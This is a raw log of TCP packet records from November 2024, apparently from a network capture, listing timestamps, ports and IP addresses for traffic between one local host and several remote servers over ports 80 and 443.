Nov 24, 2024 00:06:21.467417002 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.468465090 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.468581915 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.468658924 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.468771935 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.468807936 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.470436096 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.470520020 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.470602989 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.471362114 CET	49726	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.471385002 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.471446991 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.471482038 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.471529007 CET	49726	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.471674919 CET	49726	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.471700907 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.476947069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.492409945 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.492443085 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.492511034 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.492841959 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.492850065 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.493022919 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.493241072 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.493268967 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.493438959 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.494081020 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.494098902 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.494165897 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.495184898 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.495196104 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.495338917 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.501257896 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.501274109 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.501986027 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.502008915 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.502283096 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.502298117 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.502501965 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.502515078 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.502660990 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:21.502670050 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:21.656815052 CET	49674	443	192.168.2.6	173.222.162.64
Nov 24, 2024 00:06:21.656814098 CET	49673	443	192.168.2.6	173.222.162.64
Nov 24, 2024 00:06:21.817681074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.817801952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.839256048 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.839287996 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.959007025 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.959028959 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.959059000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.959078074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.959296942 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.959311008 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.959346056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.985009909 CET	49672	443	192.168.2.6	173.222.162.64
Nov 24, 2024 00:06:22.904505014 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:22.909853935 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.081681967 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.096100092 CET	49726	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.096167088 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.097057104 CET	49726	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.097078085 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.108349085 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.108452082 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.118247986 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.118335962 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.201042891 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.201113939 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.210800886 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.210911036 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.237389088 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.237500906 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.265289068 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.294744015 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.294775009 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.295375109 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.295382977 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.320760012 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.323503971 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.323570013 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.324050903 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.324067116 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.450295925 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.450664043 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.450884104 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.450918913 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.451435089 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.451445103 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.451764107 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.451797009 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.452215910 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.452222109 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.495434046 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.518327951 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.520684958 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.520740986 CET	49726	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.520864010 CET	49726	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.520903111 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.520932913 CET	49726	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.520948887 CET	443	49726	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.524245977 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.524281025 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.524347067 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.525629044 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.525649071 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.614856958 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.648607016 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:23.648657084 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:23.648713112 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:23.649554014 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:23.649566889 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:23.704292059 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.704361916 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.704415083 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.711483955 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.711483955 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.711503983 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.711513042 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.715094090 CET	49734	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.715120077 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.715188026 CET	49734	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.715331078 CET	49734	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.715344906 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.752110004 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.752130985 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.752351046 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.752382994 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.752506018 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.752547026 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.752707005 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.752716064 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.752731085 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.752775908 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.752996922 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.753477097 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.753489017 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.753624916 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.753635883 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.753668070 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.753674030 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.753798008 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.753803015 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.753871918 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.753885984 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.753918886 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.753933907 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.754014015 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.754014015 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.754106045 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.754121065 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.754267931 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.754321098 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:23.768754959 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.768776894 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.768838882 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.768893957 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.768948078 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.769109011 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.769128084 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.769166946 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.769299984 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.769330978 CET	443	49724	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.769372940 CET	49724	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.772032976 CET	49735	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.772067070 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.772125959 CET	49735	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.772349119 CET	49735	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.772360086 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.795357943 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:23.907390118 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.907414913 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.907464981 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.907497883 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.907767057 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.907788992 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.907799959 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.907975912 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.908015966 CET	443	49725	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.908051968 CET	49725	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.911411047 CET	49736	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.911437988 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.911508083 CET	49736	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.911662102 CET	49736	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.911675930 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.945198059 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.945271969 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.945595026 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.945624113 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.945723057 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.945723057 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.945730925 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.945753098 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.945997953 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.946043968 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.948894978 CET	49737	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.948935986 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.948964119 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.949071884 CET	49737	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.949218035 CET	49737	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:23.949229956 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:23.950202942 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.950259924 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.950476885 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.954323053 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.954401970 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.955204964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.955339909 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.955365896 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.955601931 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.963596106 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.963685989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.963706017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.963860035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.972029924 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.972167015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.972264051 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.980365038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.980483055 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.980509996 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.985512972 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:23.988715887 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:23.988929987 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.074932098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.074948072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.075109005 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.079138041 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.079185963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.079247952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.079423904 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.087521076 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.087718964 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.087723017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.087907076 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.095907927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.095937967 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.095995903 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.095995903 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.104228973 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.104341984 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.113323927 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.113341093 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.113357067 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.113394976 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.113555908 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.113564014 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.113962889 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.115014076 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.115037918 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.115053892 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.115176916 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.115176916 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.115190983 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.115916014 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.128452063 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.128474951 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.128495932 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.128525019 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.128537893 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.128568888 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.128660917 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.133865118 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.133897066 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.133917093 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.133944988 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.134025097 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.134025097 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.134033918 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.134035110 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.134054899 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.134069920 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.134115934 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.134115934 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.134124041 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.134151936 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.134270906 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.160660028 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.160839081 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.160873890 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.162106991 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.163120985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.163242102 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.163889885 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.171506882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.171541929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.171606064 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.171606064 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.177946091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.178050041 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.178167105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.186327934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.186423063 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.186489105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.191145897 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.194664955 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.194787025 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.194791079 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.194941998 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.203066111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.203171015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.203201056 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.203582048 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.211409092 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.211446047 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.211707115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.218661070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.218761921 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.218784094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.221272945 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.225863934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.226002932 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.227096081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.232506990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.232527018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.232604980 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.232605934 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.239126921 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.239136934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.239218950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.285737038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.285792112 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.285846949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.285846949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.289027929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.289319038 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.290261984 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.290309906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.290457964 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.296749115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.296824932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.296865940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.297226906 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.298080921 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.298100948 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.298206091 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.298206091 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.298258066 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.298911095 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.301296949 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.301348925 CET	443	49730	150.171.27.10	192.168.2.6
